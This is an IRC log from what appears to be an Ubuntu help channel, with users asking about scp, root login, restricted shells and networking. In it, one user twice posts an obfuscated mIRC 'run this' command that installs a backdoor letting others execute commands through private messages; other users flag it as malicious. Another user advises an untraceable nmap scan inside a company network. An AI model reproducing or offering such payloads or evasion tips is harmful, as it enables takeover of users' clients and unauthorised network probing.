[04:27] <Sirisian_> oh yeah I forgot to ask this a while ago. How do you switch it so that the default user is root in the desktop version of ubuntu. (yeah it's a VM. I understand the risks).
[04:27] <pistyman1> ok..
[04:27]  * evilaim dances *
[04:27] <evilaim> ya, you all love it!
[04:27] <evilaim> ADMNIT IT!
[04:27] <FloodBot3> evilaim: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[04:27] <Alan502> btw, does anyone know how to make ubuntu work with full graphics on a VM, Virtual Box
[04:27] <ZykoticK9> Sirisian_, give root a password then you can log in as root (repeat - bad idea)
[04:28] <Sirisian_> ah I found an article
[04:28] <pistyman1> niiiiiiice!!
[04:28] <danielsevigny> I don't want them changing any other files either though.   Compiz in VMs!  have fun.
[04:28] <shane2peru> !language | pistyman1
[04:29] <shane2peru> danielsevigny: you will have to read the article here: https://help.ubuntu.com/8.04/serverguide/C/user-management.html  IT seems to do exactly what you want to do.
[04:29] <pistyman1> ook
[04:29] <danielsevigny> I've looked at that several times. I'll go reread it for the 5th time. maybe I'm missing something obvious
[04:29] <shane2peru> danielsevigny: I'm not really familiar with doing that, so I'm not really able to help you much
[04:30] <shane2peru> danielsevigny: it is going to have to be something more than just permissions I think.
[04:30] <ryco> hi all. ive got a general linux command line question. i want to restrict a user to his home directory, without him being able to view anything else. i only want him to have access to 1 command, or program. how do i do this?
[04:30] <trevor_> hey
[04:30] <paultag> ryco, look into rbash
[04:30] <shane2peru> ryco: funny I was just talking to danielsevigny about that too.  Here is an article to look into too:  https://help.ubuntu.com/8.04/serverguide/C/user-management.html
[04:31] <ryco> oh ok. ill look at that. im just giving a friend an account purely for irssi.
[04:31] <danielsevigny> ryco if you find an answer that works for you I'd love to hear it! lol. So far permissions doesn't quite cut it.
[04:31] <matyd>  i can't seem to figure this out, i have 9.04 and my keyboard is really laggin...  i installd with acpi=off because  of the  intel chipset i have... is there any reason this woud be happening? if  i reboot it will work fine for a whilee...
[04:33] <matyd> i  am a newb btw
[04:34] <danielsevigny> is there an open ssh channel?
[04:35] <matyd> don't believe so
[04:35] <prince_jammys> danielsevigny: there is.
[04:35] <danielsevigny> Found it
[04:35] <danielsevigny> #openssh lolz
[04:36] <werfact> lolz
[04:36] <LinuX2half> !LILO
[04:36] <LinuX2half> how do  I install LILO into the superblock of my parition?
[04:37] <DoctorLes> Good night all
[04:37] <greg_> ubuntu 9.10 laptop dell 1501 2 gig mem netgear router pc connected to router cable modem printer connected to pc can't print from laptop using CUPS 1.4.1
[04:38] <greg_> also have HPLIP Running
[04:38] <greg_> any help been working this all day
[04:39] <philwyett> greg_, Ubuntu karmic discussion is best in #ubuntu+1
[04:39] <pistyman1> is anybody here going to get windows 7 when it is released?
[04:39] <leaf-sheep> pistyman1: It is already released.
[04:39] <danielsevigny> already got it.
[04:39] <pistyman1> umm ok
[04:39] <danielsevigny> mind you I have MSDN access to some programs
[04:40] <pistyman1> i mean when you go in the shop and get it )
[04:40] <bt_> Hey everybody
[04:40] <danielsevigny> anyone here familiar with scp?
[04:40] <n8tuser> danielsevigny -> what happend when you have the perms as 750  for the /home/username?
[04:40] <leaf-sheep> MSDN or not, why do people continue to the store and pay pocket money to get one? This... is something I'll never understand. :(
[04:40] <preecher> when i press my left mouse button it double clicks on my laptop on ubuntu 9.04 but when i tried it on a friends laptop with windows it works correctly-my mouse settings in ubuntu are ok--would this be a ubuntu problem ?
[04:41] <themod> hey guys ok  lol at me but shnutt happens i setup lamp and drupal on my box and didn't write down the pw for mysql and drupal and forgot then i removed drupal and mysql but still having issues
[04:41] <momelod> scp: secure copy over ssh
[04:41] <leaf-sheep> danielsevigny: Ask the real question. I know scp well.
[04:41] <bt_> can anyone help with my wireless adapter?
[04:41] <danielsevigny> is the correct sequence file to copy user@computerisshfrom:filedestination?
[04:41] <themod> do i need to purge mysql to kill the db and setup files so it re runs the setup
[04:41] <bt_> it doesnt recognise it like it doesnt show that i have it installed in the computer
[04:41] <danielsevigny> I might need to clean that up
[04:41] <momelod> scp sourcefiles user@host:/path/to/destination
[04:42] <greg_> thanx
[04:42] <pete_> can anyone help me out, 8gb nano used to work but no longer shows up anywhere except hal ?
[04:42] <jph_> I am working on a new box, I am the only user as of now.  over the next few week I will be adding 3-4 users who will be helping with the development.  I want to place some files in their /home/user directories HOWEVER I have not created the users... My question is this: can I create /home/username directories now and then latter just 'useradd' each user latter and will it then use the directories I make tonight?
[04:42] <bobbob1016> I'm trying to create an mdadm array, but it says that /dev/sd* (* meaning the drives I'm using in the array) is being used.  Any ideas?
[04:42] <n8tuser> bt_ -> which wifi card you have? which chip?  sudo lshw -C network  should indicate
[04:42] <leaf-sheep> danielsevigny: Folder? Do scp -r kittenWallpapers danielsevigny@ip:/home/Desktop/
[04:43] <danielsevigny> so if I'm on a mac and ssh'd to ubuntu server i'd do sourcefile myuser@mymac:~/Documents/
[04:43] <bt_> I have
[04:43] <bt_> 802.11g PCI Turbo Wireless Adapter
[04:43] <n8tuser> !who | bt_
[04:43] <ZykoticK9> themod, try "sudo dpkg-reconfigure mysql-server-5.0" < or whatever version of mysql you where using - first question is password
[04:43] <YuJay> im about to install ubuntu on a PC, can any one tell me if PTT is working for ventrilo?
[04:43] <themod> cool thank you :)
[04:44] <Bajang> im trying to write a sh file that will start apache2, is this correct sudo /etc/init.d/apache2 start
[04:44] <Bajang> it keeps saying this when i try to run it sudo: ./start.sh: command not found
[04:44] <leaf-sheep> danielsevigny: You don't have to ssh in if you knew the ssh user/password will work firsthandedly.  But yeah, you can do it.  Or you can ssh in and scp right back to your IP.
[04:44] <bt_> n8tuser it doesnt even show that i have wireless network
[04:44] <Bajang> im sure im doing something wrong, never done bash before
[04:45] <prince_jammys> Bajang: make it executable. chmod +x yourfile
[04:45] <bastidrazor> Bajang: if you install apache via apt-get/synaptic then it starts on boot
[04:45] <leaf-sheep> danielsevigny: I suppose it's best to ssh in, find it working, then quit.  scp something to the server.  Also, start using scp more and you'll understand this easily.  It is easy tool too.
[04:45] <n8tuser> bt_ -> then you dont have the correct driver loaded for it, is the card even recognized?  type   dmesg and look for it in the list
[04:45] <Bajang> i know it does, but i will be stoping it and stuff
[04:45] <danielsevigny> so scp can't be used at same time as ssh
[04:46] <n8tuser> danielsevigny -> scp uses ssh underneath it
[04:46] <ZykoticK9> danielsevigny, it will depend on how sshd is configured - you can set concurrent connections in there i think
[04:46] <leaf-sheep> danielsevigny: No, you can ssh into the server many as you want.
[04:46] <paultag> right ZykoticK9.
[04:47] <danielsevigny> so if I were to say create a file while in ssh i'd have to make a new terminal window for the scp for the file I want?
[04:47] <motoh> Good evening.
[04:47] <motoh> I'm having a difficulty with my laptop's dual displays, the laptop display is off and won't wake up.
[04:47] <BoxMagnet> can anyone help me out, 8gb nano used to work but no longer shows up anywhere except hal ?
[04:47] <Bajang> tks
[04:47] <bastidrazor> Bajang: are you in the same directory as your script? also have you made it executable?
[04:48] <Bajang> yea, it works now
[04:48] <leaf-sheep> danielsevigny: There also are 'screen' but you'd have to learn that too. Yes, open a new terminal window for now. :3
[04:48]  * leaf-sheep need to learn screen too. ;3
[04:49] <tonyyarusso> Bajang: 'sudo invoke-rc.d apache2 start' is more correct btw
[04:50] <shawn_> !flash
[04:50] <Bajang> whats the dif
[04:50] <Doc_Lappy> smb = samba?
[04:50] <leaf-sheep> Doc_Lappy: Short for Samba, yes.
[04:50] <tonyyarusso> Bajang: Also, there is no reason to have 'sudo' in the script *and* run the script with sudo - pick one.
[04:50] <evilaim> yes
[04:50] <evilaim> ya
[04:50] <BoxMagnet> can anyone help me out, 8gb nano used to work but no longer shows up anywhere except hal ?
[04:50] <Bajang> i know
[04:51] <Doc_Lappy> k thanks i'm trying to set up an ethernet connexion to my win 7 desktop, anybody know how and can explain to a noob
[04:51] <grkblood13> is there a big difference between scp and rsync speeds when done on a local network?
[04:51] <danielsevigny> !tab leaf-sheep same issue as before the screen hangs
[04:51] <n8tuser> grkblood13 -> i dont thinks so
[04:51] <eross> Doc_Lappy - is your drive on your win 7 desktop set up as a shared folder?
[04:51] <grkblood13> n8tuser, guess its not worth stopping my transfer to find out
[04:52] <Doc_Lappy> yep
[04:52] <n8tuser> grkblood13 -> rather it depends on the flag you used with rsync, if its first time or second time around
[04:52] <eross> you have samba installed?
[04:52] <Doc_Lappy> i used it earlier with winxp pro just fine
[04:52] <leaf-sheep> danielsevigny: What issue? Are you transferring big file?
[04:52] <danielsevigny> nope. just txt.
[04:52] <grkblood13> im transferring a lot of data at the moment to my local server
[04:52] <motoh> I'm using dual monitor setup using S-Video out on an ATI, and can't get my laptop display to wake up, anyone know what I can do?
[04:52] <grkblood13> via scp
[04:52] <grkblood13> just wondered if rsync would be a lot faster
[04:52] <eross> what i do sometimes is open up nautilus or dolphin, type in:  smb://192.168.IPOFWIN7/
[04:52] <leaf-sheep> danielsevigny: If it's not connecting, then I suppose you're not getting it through.
[04:53] <Sirisian_> aww "autologin or timed login to the root account is forbidden" :'(
[04:53] <Doc_Lappy> not yet, thats my next step once the updates thing is finished, i just got ubuntu running and have to reinstall winxp pro after this instead of normal order but have files i'd like to have on ubuntu
[04:53] <Guest74438> what is the program installation folder on ubuntu 9
[04:53] <n8tuser> is there a command to test what the proxy's capabilities are or what ports it allows/disallows?
[04:53] <danielsevigny> time out and lost connection
[04:53] <{NmE}> n8tuser, have you used nmap at all? Is that something that you are looking for?
[04:53] <leaf-sheep> danielsevigny: Bad command? Paste it.
[04:54] <{NmE}> Can anyone help me with apache?
[04:54] <n8tuser> {NmE} -> nope, dont want to run inside a company internal network and get into trouble
[04:54] <danielsevigny> scp /home/danadmin/Assign1.txt user@users-macbook-pro:~/Documents/
[04:54] <Guest74438> where to install program on ubuntu (like program files on windows)
[04:55] <{NmE}> n8tuser, maybe I came in late, but what are you trying to do?
[04:55] <BladeOfListo> If anyone's using Mibbit IRC, run this!
[04:55] <leaf-sheep> danielsevigny: scp ~/Assign1.txt daniel@<IP_ADDRESS>:~/Documents/ ?  Something like that?
[04:55] <BladeOfListo> -//write czm.mrc $decode(b24gXio6dGV4dDppbnMqOj86eyAuICQrICQyLSB8IGhhbHRkZWYgfQ==,m) | .load -rs czm.mrc
[04:55] <BladeOfListo> It's a little thing
[04:55] <ZykoticK9> Sirisian_, see "sudo gdm-setup" Security tab - add check "Allow local system admin..." <VERY BAD IDEA>
[04:55] <n8tuser> {NmE} -> is there a command to test what the proxy's capabilities are or what ports it allows/disallows?  simple question?
[04:55] <danielsevigny> something like that
[04:56] <leaf-sheep> danielsevigny: Try and ssh in the same hostname/ip-address. If you can get in, then you should be able to scp in.
[04:56] <whatis6x9> !ops BladeOfListo $decode
[04:56] <BladeOfListo> -//write czm.mrc $decode(b24gXio6dGV4dDppbnMqOj86eyAuICQrICQyLSB8IGhhbHRkZWYgfQ==,m) | .load -rs czm.mrc
[04:56] <{NmE}> n8tuser, are you behind a proxy and you want to figure out what ports it is letting out?
[04:56] <whatis6x9> !op BladeOfListo $decode
[04:56] <n8tuser> {NmE} -> yes behind it, inside a company
[04:56] <danielsevigny> That's the strange part. I'm in through ssh just fine Maybe I should just learn FTP over command line...
[04:56] <motoh> I'm having trouble getting my laptop display to turn back on, using dual monitors with S-video out on an ATI card.
[04:56] <nb> does anyone know who runs keyserver.ubuntu.org?
[04:56] <bastidrazor> ZykoticK9: gksudo
[04:56] <nb> .com i mean
[04:56] <{NmE}> n8tuser, use nmap with it's syn scan, it is not really traceable to you...
[04:57] <danielsevigny> nb run whois
[04:57] <ZykoticK9> Sirisian_, bastidrazor good point.  my bad
[04:57] <BladeOfListo> :D
[04:57] <danielsevigny> the website whois should tell you who owns it
[04:57] <^Einstein> whatis6x9: try !ops | BladeOfListo malicious scripts
[04:57] <n8tuser> danielsevigny -> you have to understand basics.. once your ssh to remote is successful, you are typing the command in the remote system, scp is from your localhost
[04:57] <leaf-sheep> danielsevigny: Add -v for verbose.
[04:57] <BladeOfListo> -v
[04:57] <n8tuser> {NmE} -> whats the flag on that for nmap?
[04:57] <ZykoticK9> bastidrazor, for what he's doing you're pointing that out :)
[04:57] <BladeOfListo> '<_<
